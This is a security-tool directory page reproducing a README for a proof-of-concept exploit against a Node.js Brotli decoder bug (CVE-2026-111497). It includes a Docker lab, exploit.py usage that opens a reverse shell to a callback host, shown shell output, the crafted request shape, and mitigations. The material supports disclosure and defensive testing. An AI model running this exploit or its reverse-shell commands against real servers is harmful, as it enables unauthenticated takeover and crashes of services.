Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/eqstlab/cve-2026-111497
Vulnerability AnalysisExploitationReverse EngineeringShellcodeWeb Application ExploitationPayload DevelopmentLabs & Practice
GitHubeqstlab/cve-2026-111497

CVE-2026-111497

Proof-of-concept exploit for CVE-2026-111497 (Node2Shell) that triggers remote code execution via a crafted upload and delivers a reverse shell, with a Docker lab.

저장소 보기
323일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 궁극의 OSINT 툴킷: 조사 그래프, 신뢰도 점수 산정, 별칭 패밀리, 지도, 타임라인 및 보고서. 49개 모듈, 400개 이상 사이트, API 키 불필요.

    806
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # GhostLock 원탭 실행 앱 (CVE-2026-43499)

    523
  • 3

    ARTEX

    baarai/artex

    LLM 멀티 에이전트 자율 침투 테스트 플랫폼으로, 플래너/워커 에이전트, 자산 및 탐색 그래프, MITM 트래픽 기록, 취약점 재테스트 기능을 제공합니다.

    441
  • 4

    redforge

    cybersecurity91/redforge

    브라우저 측 레드 팀 툴킷으로, 정찰, 페이로드 생성, 자격 증명 공격, 암호화, 인코딩 및 참여 보고를 위한 102개의 오프라인 도구를 제공합니다.

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    Shadowserver 보고서를 MongoDB로 수집하고 이를 대화형 지도, 분석, 발견 사항, 권고 및 경영진 대시보드로 재생하는 CSIRT 플랫폼입니다.

    270
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI 네이티브 사이버보안을 위한 행동 체계—의도가 통제된 실행이 되고, 증거가 운영 메모리가 되며, 모든 운영이 다음 운영을 개선하는 곳.

    264

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

CVE-2026-111497 Node.js Brotli decoder out-of-bounds heap write → RCE

★ CVE-2026-111497 "Node2Shell" (Brotli OOB write → unauthenticated RCE) PoC ★

https://github.com/user-attachments/assets/7bb24ee2-0153-4936-a7a5-4550bd4eb0e3


Overview

CVE-2026-111497 ("Node2Shell") is an unauthenticated out-of-bounds heap write (CWE-787) in the Brotli decoder bundled with Node.js, reachable whenever an app auto-decompresses Content-Encoding: br request bodies (e.g. Express 5 / body-parser 2.x express.json()). A single crafted POST underflows the decoder's block_length counter (an ignored void block-switch failure), corrupting internal state until an LZ77 memmove16 writes 16 bytes out of bounds onto a saved return address → RCE on non-PIE Node (probabilistic under ASLR, retried; a miss crashes the worker → DoS).


Affected Versions

CategoryVersion
VulnerableNode.js bundling Brotli 1.0.3 – 1.2.0 (incl. Node 24.x ≤ 24.22.0), when the app auto-decompresses Content-Encoding: br request bodies (Express 5 / body-parser 2.x)
PatchedNode 22.23.4 / 24.22.1 / 26.12.1 (bundled Brotli 1.0.10 / 1.1.1 / 1.2.1) or later
This labNode v24.22.0 · Express 5.3.0 (vulnerable)

Impact

  • Unauthenticated remote code execution as the Node service account — a single POST with a crafted Content-Encoding: br body corrupts a return address and pivots into a ROP chain that runs /bin/bash (reverse shell in this PoC)
  • The write primitive itself (OOB heap write) is deterministic; turning it into RCE is probabilistic (non-PIE gadgets + ASLR, ~5%/try) and simply retried until it lands
  • If RCE misses, the worker segfaults → denial of service (the request alone, no auth, crashes the process)
  • No application code is at fault: the sink is inside the Node runtime's Brotli decoder, exposed purely by auto-decompressing br request bodies
  • The fix makes the block-switch helpers return a BrotliDecoderErrorCode and checks it (BROTLI_SAFE_WITH_STATUS), so a failed switch aborts decoding instead of underflowing the counter

Environment

Build and run the vulnerable Express app. It mounts express.json() globally (app.use), so the body parser decompresses Content-Encoding: br on any POST before routing — the attack path is just /. The container's CMD runs the server in a restart loop so that a missed (crashing) attempt respawns with fresh ASLR for the next retry.

docker build -t cve-2026-111497 .
docker run -d --name cve-2026-111497 -p 3000:3000 cve-2026-111497

# health check (and the landing page is at http://<host>:3000/)
docker exec cve-2026-111497 sh -c 'curl -s localhost:3000/health'   # -> PONG

# container IP for the exploit target
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' cve-2026-111497
PreconditionState in this lab
Node bundling vulnerable Brotli (1.0.3 – 1.2.0)Node v24.22.0
App auto-decompresses Content-Encoding: br request bodyexpress.json() mounted globally (app.use)
Endpoint reachable unauthenticatedPOST / (parser runs before routing; any path)
Non-PIE Node binary (fixed ROP gadgets)official Node linux/x64 (non-PIE)
Worker respawn for ASLR retryCMD restart loop in Dockerfile

⚠️ The ROP gadget / .bss addresses in exploit.py are hardcoded for the non-PIE Node v24.22.0 linux/x64 binary. A different Node build → recompute addresses (objdump).


PoC

PoC/exploit.py performs the full two-request attack and drops a reverse shell: req#1 (~23 MB crafted Brotli stream) plants the ROP chain in the decoder's ring buffer and underflows the distance counter; req#2 (256 B) fires the 16-byte OOB write onto the saved return address. It loops up to 90 attempts (1 − 0.95⁹⁰ ≈ 99%), respawning the worker on each miss, and relays an interactive shell on success.

# target host[:port][/path] — default port 3000, default path /
# callback IP auto-detected (or pass it explicitly as the 2nd arg)
python3 exploit.py 172.17.0.2:3000/

# explicit reverse-shell callback host:port
python3 exploit.py 172.17.0.2:3000/ 172.17.0.1:4444
[*] 172.17.0.2:3000/ -> 172.17.0.1:4444
attempt=1/90 miss
attempt=2/90 miss
...
[+] SHELL from 172.17.0.2:49188 (attempt 7/90)
node@3f2a1b4c9d7e:/app$ id
uid=1000(node) gid=1000(node) groups=1000(node)

Arguments:

  • host[:port][/path] — target; default port 3000, default path / (global express.json())
  • cb_ip[:port] — reverse-shell callback; default port 4444, auto-detected if omitted

Request shape (the body is a ~23 MB binary Brotli stream + a 256 B trigger, generated by the exploit — not hand-craftable in Burp):

POST / HTTP/1.1
Host: lab
Content-Type: application/json
Content-Encoding: br
Transfer-Encoding: chunked
Connection: close

<chunk: ~23MB crafted Brotli stream>   (req#1 — ROP prefix + 2²⁴ distance commands)
<chunk: 256-byte trigger>              (req#2 — fires the OOB write)
0

Mitigation

  • Upgrade Node.js to 22.23.4 / 24.22.1 / 26.12.1 or later (bundled Brotli 1.0.10 / 1.1.1 / 1.2.1)
  • If you cannot upgrade immediately: reject or strip Content-Encoding: br on request bodies at a proxy/WAF, or disable request-body inflation (e.g. body-parser inflate: false), and keep a strict body-size limit
  • Prefer distro-rebuilt (PIE) Node binaries over the official non-PIE builds to deny fixed ROP gadgets — but this only lowers reliability, it is not a fix; patch the runtime
  • After patching, assume any internet-reachable endpoint that accepted br request bodies could have been crashed or compromised — restart/rotate affected workers and review logs for repeated large br POSTs

Analysis

  • KR:
  • EN:
도구 다운로드